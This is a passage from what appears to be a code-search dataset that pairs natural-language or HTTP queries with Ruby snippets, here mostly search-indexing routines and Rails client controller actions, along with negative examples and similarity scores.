"def invertedIndex (folder)\n begin\n # Set doc number\n docNumber = 1\n # Iterate over each file in folder\n Find.find(folder) do |filename|\n begin\n # Ignore just folder name\n if !filename.eql? folder\n # Read in each file\n # If .docx\n if filename.include? \".docx\"\n file = Docx::Document.open(filename)\n file.each_paragraph do |line|\n processLine(docNumber, line)\n end\n # Assume text otherwise for now\n else\n file = File.open(filename)\n file_data = file.read\n # Read in file line by line\n file_data.each_line do |line|\n processLine(docNumber, line)\n end\n file.close\n end\n docNumber += 1\n end\n rescue\n puts \"Error in file name\"\n puts filename\n puts docNumber\n puts \"\\n\\n\"\n end\n \n end\n rescue\n puts \"Error in folder name\"\n exit 4\n end\n puts \"Inverted index initialized and created\"\nend",
"def bulk_import\n client = ElasticsearchClient.client\n\n find_in_batches.with_index do |entries, _i|\n client.bulk(\n index: es.index_name,\n type: '_doc',\n body: entries.map { |entry| { index: { _id: entry.id, data: entry.as_indexed_json } } },\n refresh: true, # NOTE: 定期的にrefreshしないとEsが重くなる\n )\n end\n end",
"def do_local_indexing(solr_doc); end",
"def update_ion_indices\n ion = self.class.ion\n\n\n # Clear out previous indexes...\n ion.index_types.each { |i_type| i_type.deindex(self) }\n\n Ion.redis.multi\n # And add new ones\n ion.indices.each { |index| index.index(self) }\n Ion.redis.exec\n end",
"def index(obj)\n if @index && !loaded?\n @index.call(obj)\n else\n super\n end\n end",
"def load_dotindex\n file = File.join(location, '.index')\n data = YAML.load_file(file)\n update(data)\n end",
"def after_update\n super\n self.class.call_es { _index_document }\n end",
"def reindex!\n doc = {:id => neo_node_id }\n self.class.index_updaters.each_value do |updater|\n updater.call(self, doc)\n end\n lucene_index << doc\n end",
"def index_csv(data_path, db_path)\n db = Xapian::WritableDatabase.new(db_path, Xapian::DB_CREATE_OR_OPEN)\n term_generator = Xapian::TermGenerator.new\n term_generator.stemmer = Xapian::Stem.new('en')\n parse_csv_file(data_path).each do |row|\n doc = Xapian::Document.new\n term_generator.document = doc\n term_generator.index_text(row['TITLE'].to_s, 1, 'S')\n term_generator.index_text(row['DESCRIPTION'].to_s, 1, 'XD')\n term_generator.index_text(row['TITLE'].to_s)\n term_generator.increase_termpos\n term_generator.index_text(row['DESCRIPTION'].to_s)\n doc.data = row.to_h.to_json\n idterm = \"Q#{row['id_NUMBER']}\"\n doc.add_boolean_term(idterm)\n db.replace_document(idterm, doc)\n end\nend",
"def initialize (filename)\n @indexname = filename + \".index\" \n @data_f = File.open(filename, \"w\")\n @index_f = File.open(@indexname, \"w\") \n @cur_num = 0 \n @cur_pos = @data_f.pos # 0\n end",
"def index_data(*models)\n if models.nil? || models.empty?\n only_index = @indexed_models\n else\n only_index = models.collect{|m| m.to_s}\n end \n \n Mebla.log(\"Indexing #{only_index.join(\", \")}\", :debug)\n \n # Build up a bulk query to save processing and time\n bulk_query = \"\"\n # Keep track of indexed documents\n indexed_count = {}\n \n # Create the index\n if create_index\n # Start collecting documents\n only_index.each do |model|\n Mebla.log(\"Indexing: #{model}\")\n # Get the class\n to_index = model.camelize.constantize\n \n # Get the records \n entries = []\n unless to_index.embedded?\n if to_index.sub_class?\n entries = to_index.any_in(:_type => [to_index.name])\n else \n entries = to_index.any_in(:_type => [nil, to_index.name])\n end\n else\n parent = to_index.embedded_parent\n access_method = to_index.embedded_as\n \n parent.all.each do |parent_record|\n if to_index.sub_class?\n entries += parent_record.send(access_method.to_sym).any_in(:_type => [to_index.name])\n else\n entries += parent_record.send(access_method.to_sym).any_in(:_type => [nil, to_index.name])\n end\n end\n end\n \n # Save the number of entries to be indexed\n indexed_count[model] = entries.count \n \n # Build the queries for this model \n entries.each do |document|\n attrs = {} #document.attributes.dup # make sure we dont modify the document it self\n attrs[:id] = document.attributes[\"_id\"] # the id is already added in the meta data of the action part of the query\n \n # only index search fields and methods\n document.class.search_fields.each do |field|\n if document.attributes.keys.include?(field.to_s)\n attrs[field] = document.attributes[field.to_s] # attribute\n else\n attrs[field] = document.send(field) # method\n end\n end\n \n # index relational fields\n document.class.search_relations.each do |relation, fields| \n items = document.send(relation.to_sym) # get the relation document\n \n next if items.nil?\n \n # N relation side\n if items.is_a?(Array) || items.is_a?(Mongoid::Relations::Targets::Enumerable)\n next if items.empty?\n attrs[relation] = []\n items.each do |item|\n if fields.is_a?(Array) # given multiple fields to index\n fields_values = {}\n fields.each do |field|\n if item.attributes.keys.include?(field.to_s)\n fields_values.merge!({ field => item.attributes[field.to_s] }) # attribute\n else\n fields_values.merge!({ field => item.send(field) }) # method\n end\n end\n attrs[relation] << fields_values\n else # only index one field in the relation\n if item.attributes.keys.include?(fields.to_s)\n attrs[relation] << { fields => item.attributes[fields.to_s] } # attribute\n else\n attrs[relation] << { fields => item.send(fields) } # method\n end\n end\n end\n # 1 relation side\n else\n attrs[relation] = {}\n if fields.is_a?(Array) # given multiple fields to index\n fields_values = {}\n fields.each do |field|\n if items.attributes.keys.include?(field.to_s)\n fields_values.merge!({ field => items.attributes[field.to_s] }) # attribute\n else\n fields_values.merge!({ field => items.send(field) }) # method\n end\n end\n attrs[relation].merge!(fields_values)\n else # only index one field in the relation\n if items.attributes.keys.include?(fields.to_s)\n attrs[relation].merge!({ fields => items.attributes[fields.to_s] }) # attribute\n else\n attrs[relation].merge!({ fields => items.send(fields) }) # method\n end\n end\n end\n end \n \n # If embedded get the parent id\n if document.embedded?\n parent_id = document.send(document.class.embedded_parent_foreign_key.to_sym).id.to_s \n attrs[(document.class.embedded_parent_foreign_key + \"_id\").to_sym] = parent_id\n attrs[:_parent] = parent_id\n \n # Build add to the bulk query\n bulk_query << build_bulk_query(@slingshot_index_name, to_index.slingshot_type_name, document.id.to_s, attrs, parent_id)\n else\n # Build add to the bulk query\n bulk_query << build_bulk_query(@slingshot_index_name, to_index.slingshot_type_name, document.id.to_s, attrs)\n end\n end\n end\n else\n raise Mebla::Errors::MeblaIndexException.new(\"Could not create #{@slingshot_index_name}!!!\")\n end \n \n Mebla.log(\"Bulk indexing:\\n#{bulk_query}\", :debug) \n \n # Send the query\n response = Slingshot::Configuration.client.post \"#{Mebla::Configuration.instance.url}/_bulk\", bulk_query\n \n # Only refresh the index if no error ocurred\n unless response =~ /error/ \n # Log results\n Mebla.log(\"Indexed #{only_index.count} model(s) to #{self.slingshot_index_name}: #{response}\")\n Mebla.log(\"Indexing Report:\")\n indexed_count.each do |model_name, count|\n Mebla.log(\"Indexed #{model_name}: #{count} document(s)\")\n end\n \n # Refresh the index\n refresh_index\n else\n raise Mebla::Errors::MeblaIndexException.new(\"Indexing #{only_index.join(\", \")} failed with the following response:\\n #{response}\")\n end\n rescue RestClient::Exception => error\n raise Mebla::Errors::MeblaIndexException.new(\"Indexing #{only_index.join(\", \")} failed with the following error: #{error.message}\")\n end",
"def index(model)\n model.index\n ElasticMapper.index.refresh\nend",
"def index\n set_index_options\n load_index if params[:reload].to_s.to_boolean(true)\n end",
"def index\n set_index_options\n load_index if params[:reload].to_s.to_boolean(true)\n end",
"def index\n @nthfiles = Nthfile.all\n end",
"def bulk_index(*ids)\n options = Hash === ids.last ? ids.pop : {}\n ids = ids.first if ids.size == 1 && ids.first.is_a?(Enumerable)\n aaf_index.bulk_index(self.name, ids, options)\n end",
"def indexItem(itemID, batch, nailgun)\n\n # Grab the main metadata file\n metaPath = arkToFile(itemID, \"meta/base.meta.xml\")\n if !File.exist?(metaPath) || File.size(metaPath) < 50\n puts \"Warning: skipping #{itemID} due to missing or truncated meta.xml\"\n $nSkipped += 1\n return\n end\n rawMeta = fileToXML(metaPath)\n rawMetaXML = rawMeta.to_xml(indent: 3)\n rawMeta.remove_namespaces!\n rawMeta = rawMeta.root\n\n isPending = metaPath.include?(\"/next/\")\n\n existingItem = Item[itemID]\n\n normalize = nil\n if rawMeta.name =~ /^DISS_submission/ ||\n (rawMeta.name == \"mets\" && rawMeta.attr(\"PROFILE\") == \"http://www.loc.gov/mets/profiles/00000026.html\")\n normalize = \"ETD\"\n elsif rawMeta.name == \"mets\"\n normalize = \"BioMed\"\n elsif rawMeta.name == \"Publisher\"\n normalize = \"Springer\"\n end\n\n Thread.current[:name] = \"index thread: #{itemID} #{sprintf(\"%-8s\", normalize ? normalize : \"UCIngest\")}\"\n\n if normalize\n dbItem, attrs, authors, contribs, units, issue, section, suppSummaryTypes =\n processWithNormalizer(normalize, itemID, metaPath, nailgun, isPending)\n else\n dbItem, attrs, authors, contribs, units, issue, section, suppSummaryTypes =\n parseUCIngest(itemID, rawMeta, \"UCIngest\", isPending)\n end\n\n text = $noCloudSearchMode ? \"\" : grabText(itemID, dbItem.content_type)\n \n # Create JSON for the full text index\n authsAndContribs = authors.map { |auth| auth[:name][0,1024] } + contribs.map { |c| c[:name][0,1024] }\n idxItem = {\n type: \"add\", # in CloudSearch land this means \"add or update\"\n id: itemID,\n fields: {\n title: dbItem[:title] ? cleanTitle(dbItem[:title]) : \"\",\n authors: authsAndContribs.length > 1000 ? authsAndContribs[0,1000] : authsAndContribs,\n abstract: attrs[:abstract] || \"\",\n type_of_work: dbItem[:genre],\n disciplines: attrs[:disciplines] ? attrs[:disciplines] : [\"\"], # only the numeric parts\n peer_reviewed: attrs[:is_peer_reviewed] ? 1 : 0,\n pub_date: dbItem[:published].to_date.iso8601 + \"T00:00:00Z\",\n pub_year: dbItem[:published].year,\n rights: rightsURLToCode(dbItem[:rights]),\n sort_author: (authors[0] || {name:\"\"})[:name].gsub(/[^\\w ]/, '')[0,1024].downcase,\n keywords: attrs[:keywords] ? attrs[:keywords] : [\"\"],\n is_info: 0\n }\n }\n\n # Determine campus(es), department(s), and journal(s) by tracing the unit connnections.\n firstCampus = addIdxUnits(idxItem, units)\n\n # Use the first campus and various other attributes to make an OA policy association\n dbItem[:oa_policy] = oaPolicyAssoc(firstCampus, units, dbItem, attrs[:pub_status])\n\n # Summary of supplemental file types\n suppSummaryTypes.empty? or idxItem[:fields][:supp_file_types] = suppSummaryTypes.to_a\n\n # Limit text based on size of other fields (so, 1000 authors will mean less text).\n # We have to stay under the overall limit for a CloudSearch record. This problem is\n # a little tricky, since conversion to JSON introduces additional characters, and\n # it's hard to predict how many. So we just use a binary search.\n idxItem[:fields][:text] = text\n if JSON.generate(idxItem).bytesize > MAX_TEXT_SIZE\n idxItem[:fields][:text] = nil\n baseSize = JSON.generate(idxItem).bytesize\n toCut = (0..text.size).bsearch { |cut|\n JSON.generate({text: text[0, text.size - cut]}).bytesize + baseSize < MAX_TEXT_SIZE\n }\n (toCut==0 || toCut.nil?) and raise(\"Internal error: have to cut something, but toCut=#{toCut.inspect}\")\n #puts \"Note: Keeping only #{text.size - toCut} of #{text.size} text chars.\"\n idxItem[:fields][:text] = text[0, text.size - toCut]\n end\n\n # Make sure withdrawn items get deleted from the index. Also make sure pending items\n # aren't in the index.\n if attrs[:suppress_content] || dbItem[:status] == \"pending\"\n idxItem = {\n type: \"delete\",\n id: itemID\n }\n end\n\n dbAuthors = authors.each_with_index.map { |data, idx|\n ItemAuthor.new { |auth|\n auth[:item_id] = itemID\n auth[:attrs] = JSON.generate(data)\n auth[:ordering] = idx\n }\n }\n\n roleCounts = Hash.new { |h,k| h[k] = 0 }\n dbContribs = contribs.each_with_index.map { |data, _idx|\n ItemContrib.new { |contrib|\n contrib[:item_id] = itemID\n contrib[:role] = data[:role]\n data.delete(:role)\n contrib[:attrs] = JSON.generate(data)\n contrib[:ordering] = (roleCounts[contrib[:role]] += 1)\n }\n }\n\n # For convenient spelunking, record the archival metadata in the db\n dbArchiveMeta = collectArchiveMeta(itemID, rawMetaXML)\n\n # Calculate digests of the index data and database records\n idxData = JSON.generate(idxItem)\n idxDigest = Digest::MD5.base64digest(idxData)\n dbCombined = {\n dbItem: dbItem.to_hash,\n dbAuthors: dbAuthors.map { |authRecord| authRecord.to_hash },\n dbIssue: issue ? issue.to_hash : nil,\n dbSection: section ? section.to_hash : nil,\n units: units,\n archiveMeta: dbArchiveMeta.to_hash\n }\n dbContribs.empty? or dbCombined[:dbContribs] = dbContribs.map { |record| record.to_hash }\n dataDigest = Digest::MD5.base64digest(JSON.generate(dbCombined))\n\n # Add time-varying things into the database item now that we've generated a stable digest.\n timestamp = $preindexMode ? nil : DateTime.now\n dbItem[:last_indexed] = timestamp\n dbItem[:index_digest] = $noCloudSearchMode ? (existingItem && existingItem[:index_digest]) : idxDigest\n dbItem[:data_digest] = dataDigest\n\n dbDataBlock = { dbItem: dbItem, dbAuthors: dbAuthors, dbContribs: dbContribs,\n dbIssue: issue, dbSection: section, units: units,\n dbArchiveMeta: dbArchiveMeta }\n\n # Single-item debug\n if $testMode\n fooData = dbCombined.clone\n fooData.delete(:archiveMeta)\n pp fooData\n fooData = idxItem.clone\n fooData[:fields] and fooData[:fields][:text] and fooData[:fields].delete(:text)\n pp fooData\n exit 1\n end\n\n # If nothing has changed, skip the work of updating this record.\n if existingItem && !$forceMode && ($preindexMode || existingItem[:index_digest] == idxDigest)\n\n # If only the database portion changed, we can safely skip the CloudSearch re-indxing\n if existingItem[:data_digest] != dataDigest\n puts \"#{$forceMode ? \"Forced\" : \"Changed\"} item. (database change only, search data unchanged)\"\n $dbMutex.synchronize {\n DB.transaction { updateDbItem(dbDataBlock) }\n }\n $nProcessed += 1\n return\n end\n\n # Nothing changed; just update the timestamp.\n puts \"Unchanged item.\"\n existingItem.last_indexed = timestamp\n existingItem.save\n $nUnchanged += 1\n return\n end\n\n puts \"#{existingItem ? ($forceMode ? 'Forced' : 'Changed') : 'New'} item.#{attrs[:suppress_content] ? \" (suppressed content)\" : \"\"}\"\n\n if $noCloudSearchMode\n $dbMutex.synchronize {\n DB.transaction { updateDbItem(dbDataBlock) }\n }\n $nProcessed += 1\n return\n end\n\n # Make doubly sure the logic above didn't generate a record that's too big.\n if idxData.bytesize >= 1024*1024\n puts \"idxData=\\n#{idxData}\\n\\nInternal error: generated record that's too big.\"\n exit 1\n end\n\n # If this item won't fit in the current batch, send the current batch off and clear it.\n if batch[:idxDataSize] + idxData.bytesize > MAX_BATCH_SIZE || batch[:items].length > MAX_BATCH_ITEMS\n #puts \"Prepared batch: nItems=#{batch[:items].length} size=#{batch[:idxDataSize]} \"\n batch[:items].empty? or $batchQueue << batch.clone\n emptyBatch(batch)\n end\n\n # Now add this item to the batch\n batch[:items].empty? or batch[:idxData] << \",\\n\" # Separator between records\n batch[:idxData] << idxData\n batch[:idxDataSize] += idxData.bytesize\n batch[:items] << dbDataBlock\n #puts \"current batch size: #{batch[:idxDataSize]}\"\nend",
"def index_pages\n debug_msg \" generating pages search index\"\n\n pages = @files.select do |file|\n file.text?\n end\n\n pages.each do |page|\n debug_msg \" #{page.page_name}\"\n record = page.search_record\n @index[:searchIndex] << search_string(record.shift)\n @index[:longSearchIndex] << ''\n record.shift\n @index[:info] << record\n end\n end",
"def reindex!\n find(:all).each { |r| r.update_index(true) }\n end",
"def cloud_search_reindex(*args)\n self.cloud_search_batch_documents do\n self.find_each(*args) do |record|\n record.add_to_cloud_search\n end\n end\n end",
"def reindex!\n indexed if generate_solr_index\n end",
"def build_indices\n template_cache = RDoc::Cache.instance\n\n @info.each do |toplevel|\n @files << RDoc::Generator::File.new(template_cache, toplevel, @options,\n RDoc::Generator::FILE_DIR)\n end\n\n RDoc::TopLevel.all_classes_and_modules.each do |cls|\n build_class_list(template_cache, cls, @files[0], RDoc::Generator::CLASS_DIR)\n end\n end",
"def index(data, refresh = false,batch_connection = nil)\n connection = batch_connection || Elastic::Rebound.client\n if data.kind_of?(Array)\n data.each do |d|\n connection.index(d, :type => @object_name, :index => @index_name, :id => d[:id])\n end\n else\n connection.index(data, :type => @object_name, :index => @index_name, :id => data[:id])\n end\n\n refresh_index if refresh && !batch_connection\n end",
"def add_to_index(wiki, index, sha, files)\n end",
"def load_index_cache(file)\n @indexes = Marshal.load(File.read(file))\n nil\n end",
"def build_indices\n @files, @classes = RDoc::Generator::Context.build_indices(@toplevels,\n @options)\n end",
"def build_indices\n @files, @classes = RDoc::Generator::Context.build_indices(@toplevels,\n @options)\n end",
"def index_array arr\n bulk = client.prepare_bulk\n arr.each do |doc|\n request = IndexRequest.new(@index).type(@type).create(true).source(doc.indexable_json)\n bulk.add(request)\n end\n warn(\"About to bulk index #{arr.size} documents, starting with #{arr.first.inspect}\")\n bulk.execute.action_get\n end",
"def index(file, needle, encoding = nil, *args, &block)\n\n file = init_file(file, encoding)\n\n # pass to scan method\n scan(file, needle, *args, &block)\n end",
"def add(file)\n # add file to object db\n return false if !File.exists?(file)\n return false if !File.file?(file)\n \n sha = get_raw_repo.put_raw_object(File.read(file), 'blob')\n \n # add it to the index\n @git_index.add(file, sha)\n end",
"def reindex!\n self.index = {}\n data.each do |inventory_object|\n store_index_for(inventory_object)\n end\n end",
"def update_index(options={})\n @index ||= {}\n descr = options[:descriptor] ? options[:descriptor].to_hash : build_descriptor_for_file(options[:file])\n descr.keys.each do |k|\n if k.is_a?(String)\n descr[k.to_sym] = descr[k]\n descr.delete(k)\n end\n end\n @index[descr[:tape]] = descr\n save_index_descriptor(descr[:tape])\n descr\n end",
"def _index_document(opts = {})\n index_document(opts)\n end",
"def index\n @incidentfiles = Incidentfile.all\n end",
"def index\n \n @docfiles = Docfile.all\n end",
"def update_tank_indexes\n if tanker_indexable?\n tanker_config.index.add_document(\n it_doc_id, tanker_index_data, tanker_index_options\n )\n else\n delete_tank_indexes\n end\n end",
"def relink_indexes\n super\n sync_indexes\n end",
"def update_index\n all.nodes.each do |n|\n n.reindex!\n end\n end",
"def index_one(book_name)\n\n file = File.open( @dir_path+book_name, \"r\")\n\n puts \"Indexing #{book_name}\"\n file.each_line do |line|\n words = line.split\n words.each do |word|\n word = word.gsub(/[;.\"\"...,()?!*]+/i, \"\").downcase\n @connection.query(\"INSERT INTO #{@table_name} (word, count) VALUES ('#{@connection.escape(word)}', 1) ON DUPLICATE KEY UPDATE count=count+1\")\n\n end\n end\n\n puts \"Indexed #{book_name}\"\n end",
"def index\n @file_records = FileRecord.all\n end",
"def index\n @file_records = FileRecord.all\n end",
"def index\n set_index\n end",
"def generate\n Dixi.logger.info \"Generating index for #{@project}\"\n\n @entries = {}\n\n require 'find'\n Find.find( @project.version_dir.to_s ) do |path|\n if path =~ /index\\.yaml/\n Find.prune\n elsif path =~ /\\.yaml/\n res = Dixi::Resource.from_filepath(@project, Pathname.new(path))\n self.add( res )\n end\n end\n\n save!\n @loaded = true\n\n @entries\n end",
"def run(content, params={})\n # only process item that are changed since last regeneration\n if (!@last_indexed.nil? && @last_indexed > item.mtime)\n return content\n end\n\n puts \"Indexing page #{@item.identifier}\"\n\n while not @index.running?\n # wait for the indextank index to get ready\n sleep 0.5\n end\n\n page_text = extract_text(content)\n\n @index.document(@item.identifier).add({\n :text => page_text,\n :title => @item[:title] || item.identifier\n })\n puts 'Indexed ' << item.identifier\n\n @last_indexed = Time.now\n write_last_indexed\n\n content\n end",
"def write_document_to_index(document)\n\n end",
"def index(model, instance = nil)\n return true if skip? instance\n\n self.class.enqueue(\n FlyingSphinx::IndexRequest.new(model.delta_index_names, true),\n delayed_job_priority\n )\n\n self.class.enqueue_without_duplicates_check(\n FlyingSphinx::FlagAsDeletedJob.new(\n model.core_index_names, instance.sphinx_document_id\n ),\n delayed_job_priority\n ) if instance\n\n true\n end",
"def open_index(o={})\n @clf = cache_data('clf', Searcher.load_features())\n @con_weights = cache_data('con_weights', Searcher.load_weights(CON_FEATURES, 'con', Conf.weight_con))\n @doc_weights = cache_data('doc_weights', Searcher.load_weights(DOC_FEATURES, 'doc', Conf.weight_doc))\n end",
"def refresh\n super do |modified|\n return unless modified\n @indexer.generate_index #TODO: update_index?\n end\n end",
"def after_create\n super\n self.class.call_es { _index_document }\n end",
"def index_songs_in_elasticsearch\n songs.find_each { |song| song.__elasticsearch__.index_document }\n end",
"def index_keywords!\n all.each { |d| d.index_keywords! }\n end",
"def construct_index\n end",
"def update_chewy_indices(object)\n object.run_chewy_callbacks\n end",
"def index(docs, commit_within: ENV.fetch('SOLR_COMMIT_WITHIN', 5000).to_i)\n indexed_count = 0\n\n docs.each do |record, path|\n # log the unique identifier for the record for debugging\n id = record['id'] || record['dc_identifier_s']\n puts \"Indexing #{id}: #{path}\" if $DEBUG\n\n # index the record into solr\n @solr.update params: { commitWithin: commit_within, overwrite: true },\n data: [record].to_json,\n headers: { 'Content-Type' => 'application/json' }\n\n # count the number of records successfully indexed\n indexed_count += 1\n rescue RSolr::Error::Http => e\n puts e\n end\n\n @solr.commit\n indexed_count\n end",
"def indexes\n raise 'not implemented'\n end",
"def initialize(index_file = INDEX_FILE)\n @terms = {}\n @index = {}\n @index_file = index_file\n if File.exists? @index_file\n @terms, @index = Marshal.load(\n File.open(@index_file, 'rb') {|f| f.read})\n end\n end",
"def initialize(file, options = nil)\n @options = options || {}\n\t\t@index = {}\t\n\t\t@dbFile = file\n\t\tmakeIndex\n\tend",
"def add_to_index posts\n indexDir = java.io.File.new(@index_dir);\n writer = IndexWriter.new(indexDir, StandardAnalyzer.new, !File.exists?(indexDir.absolute_path))\n posts.each do |post|\n writer.updateDocument(Term.new(\"id\",post[:id]),create_lucene_document(post))\n @last_id = post[:id]\n @log.debug \"added post ##{post[:id]}\"\n end \n writer.optimize\n writer.close\n @log.info \"added #{posts.size} documents to index\"\n end",
"def index\n @filenames = Filename.all\n end",
"def index_keywords!\n all.each { |d| d.index_keywords! ? MongoidSearch::Log.green(\".\") : MongoidSearch::Log.red(\"F\") }\n end",
"def run(content, params={})\n markdown = Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, space_after_headers: true)\n page_text = extract_text(markdown.render(item.raw_content))\n title = item[:title] || item.identifier\n file_name = item.identifier.to_s.gsub(/\\//,'_')\n puts \"Indexing page: #{@item.identifier} to #{@tmp_index}/#{file_name}.idx\"\n unless Dir.exists?(@tmp_index)\n Dir.mkdir(@tmp_index)\n end\n\n\n\n idx_file_name = \"#{@tmp_index}/#{file_name}.idx\"\n if File.exists?(idx_file_name)\n File.delete(idx_file_name)\n end\n File.open(idx_file_name,\"w+\") do |file|\n file.write({title: title, text: page_text, tags: \"api\", loc: @item.path }.to_json)\n end\n content\n end",
"def index(options = {})\n system(\"gem generate_index -d #{@path} > /dev/null\")\n # options = {:build_legacy => true, :build_modern => true}.merge(options)\n # indexer = indexer(options)\n # options[:update] ? indexer.update_index : indexer.generate_index\n end",
"def reindex!\n logger.debug \"Updating #{self.name} (#{self.id}) to Solr directly...\"\n indexed if generate_solr_index\n end",
"def rebuild_pgindex!\n self.all.each { |model| model.rebuild_pgindex! }\n end",
"def index\r\n build_index unless @index\r\n @index\r\n end",
"def reindex_after_archive\n reindex_sync\n end",
"def indices storage\n reflective_auto_load_adapter_extension\n indices(storage) # call the overrided method\n end",
"def index ; @index ; end",
"def index_file(file, pages_dir, stopwords, file_data)\n # Removing the dir from the file name\n # begin\n actual_name = file.gsub(pages_dir, \"\")\n # rescue NoMethodError\n# actual_name = badpage.html\n \n\n # Resetting the file path\n file_path = \"\"\n file_path = File.expand_path(\".\") + \"/\" + file\n\n print \"Parsing HTML document: \" + actual_name + \" \\n\"\n\n # Finding all the tokens in the file\n tokens = find_tokens(file_path)\n\n # Getting the page title, word count, and page url\n page_title = get_title(file_path)\n word_count = tokens.length\n page_url = file_data[actual_name]\n\n # Updating the docindex hash\n $docindex[file.gsub(pages_dir, \"\")] = [word_count, page_title, page_url]\n\n # Removing the stop words and getting the stem words in the file\n tokens = remove_stop_tokens(tokens, stopwords)\n tokens = stem_tokens(tokens)\n\n # Creating the invindex hash table\n for token in tokens\n begin\n if $invindex.member?(token)\n if $invindex[token].member?(actual_name)\n $invindex[token][actual_name] += 1\n else\n $invindex[token][actual_name] = 1\n end\n else\n $invindex[token] = {actual_name => 1}\n end\n # end\n# rescue NoMethodError\n # puts \"NoMethodError\"\n end\n #puts file_name\n # title = nil\n end\n #end\nend",
"def index_documents\n @params = {}\n @action = 'index_documents'\n \n send_auth_request\n end",
"def index\n\t\t\[email protected]\n\t\tend",
"def makeIndex()\n\t\tputs \"Indexing TlpDB...\" unless @options[:quiet]\n\n\t\tlineno = 1\n\t\tfor line in @dbFile do\n\t\t\tif line =~ /^name (.*)/ then\n\t\t\t\t@index[$1] = lineno\n\t\t\tend\n\t\t\tlineno = lineno.next\n\t\tend\n\n\t\tputs \"Done. #{@index.size} packages\" unless @options[:quiet]\n\tend",
"def save\n File.open(@index_file, 'wb') do |f|\n f.puts Marshal::dump([@terms, @index])\n end\n end",
"def index\n @definition.index\n end",
"def update_index # :nodoc:\n self.class.indexer.index(self)\n end",
"def save_indexes\n self.class.indexes.each do |name, index|\n index.save(self)\n end\n end",
"def index\n @batch_files = BatchFile.all\n end",
"def generate_indexes\n @first_page = first_page\n generate_index('index')\n generate_index('indexes')\n end",
"def []( index )\n index = get_index_from_file_name( index )if index.class == String\n file = self.files[index]\n self.current = GovtrackerFile.new(:file => \"#{set_directory}/#{file}\", :tag => @tag )\n end",
"def multiple_get_objects(requests, opts = {})\n @transporter.read(:POST, '/1/indexes/*/objects', { requests: requests }, opts)\n end",
"def each_file_with_index\n index = 0\n\n each_file do |file|\n yield file, index\n index += 1\n end\n end"
] |
[
"0.67115146",
"0.66662186",
"0.6503352",
"0.640751",
"0.6361219",
"0.62574077",
"0.62543154",
"0.6208592",
"0.620452",
"0.6185532",
"0.6107002",
"0.61019784",
"0.6091456",
"0.60147846",
"0.5976097",
"0.5962538",
"0.59590197",
"0.5926683",
"0.5889196",
"0.5877432",
"0.5867403",
"0.5857772",
"0.58435476",
"0.58431596",
"0.5832622",
"0.58300143",
"0.5825415",
"0.57987154",
"0.57908934",
"0.57613134",
"0.5760527",
"0.5749793",
"0.5749793",
"0.5747962",
"0.572137",
"0.5708682",
"0.5698629",
"0.5694058",
"0.5687602",
"0.5683629",
"0.5681532",
"0.56740516",
"0.5672628",
"0.56713194",
"0.56476516",
"0.56476516",
"0.5638755",
"0.5637509",
"0.5628233",
"0.56232893",
"0.562239",
"0.5611844",
"0.5611232",
"0.56043696",
"0.55964386",
"0.5591575",
"0.5573844",
"0.55670136",
"0.5566888",
"0.5566888",
"0.5557313",
"0.555308",
"0.5540979",
"0.5535029",
"0.55207473",
"0.5518071",
"0.5516289",
"0.55058336",
"0.5500791",
"0.5490507",
"0.5481923",
"0.54803056",
"0.54662615",
"0.5462151",
"0.54587054",
"0.5458226",
"0.5455576",
"0.5455207",
"0.54504865",
"0.54445374",
"0.5444008",
"0.54402757",
"0.544015",
"0.5431831",
"0.542061",
"0.5416968",
"0.54136765",
"0.54112744",
"0.5410551",
"0.54104084",
"0.5407074",
"0.54014647",
"0.5398537",
"0.5387593",
"0.5386659",
"0.5376172",
"0.5370117",
"0.53689754",
"0.53688854",
"0.5368841"
] |
0.6050567
|
13
|
GET /my_studio/clients/1 GET /my_studio/clients/1.json
|
def show
@my_studio_client = MyStudio::Client.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @my_studio_client }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @clients = current_user.clients\n render json: @clients\n end",
"def index\n @clients = Client.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clients }\n end\n end",
"def index\n @clients = Client.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clients }\n end\n\n end",
"def show\n @client = Client.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client }\n end\n end",
"def show\n @client = Client.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client }\n end\n end",
"def show\n @client = Client.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client }\n end\n end",
"def show\n @client = Client.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client }\n end\n end",
"def show\n @client = Client.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client }\n end\n end",
"def show\n @client = Client.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client }\n end\n end",
"def show\n @client = Client.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client }\n end\n end",
"def show\n client = Client.retrieve_by_id(params[:id])\n\n render json: client, serializer: SingleClientSerializer\n end",
"def show\r\n @client = Client.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @client }\r\n end\r\n end",
"def index\n @clients = Client.all\n @uuid = params[:uuid]\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clients }\n end\n end",
"def show\n render json: @client\n end",
"def index\n @clients = Client.all\n render json: @clients\n end",
"def show\n @client = clients.find(params[:id])\n end",
"def find_client\n cliente = get_cliente(params[:id])\n\n respond_to do |format|\n format.json {render json: {client: cliente}}\n end\n end",
"def index\n render json: Client.all\n end",
"def show\n\t\t@client = Client.find(params[:id])\n\t\tif @client.status != 0\n\t\t\trender :json => @client, status: 200\n\t\telse\n\t\t\trender :json => @client.status, status: 400\n\t\tend\n\tend",
"def index\n sanitized_params = parse_params(client_where_params)\n clients = Client.find_all(sanitized_params)\n render json: clients\n end",
"def new\n @my_studio_client = MyStudio::Client.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_studio_client }\n end\n end",
"def recent\n if current_user.is_admin?\n @clients = Client.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @clients }\n end\n end",
"def show\n @client = Client.find(params[:id])\n @uuid = params[:uuid]\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client }\n end\n end",
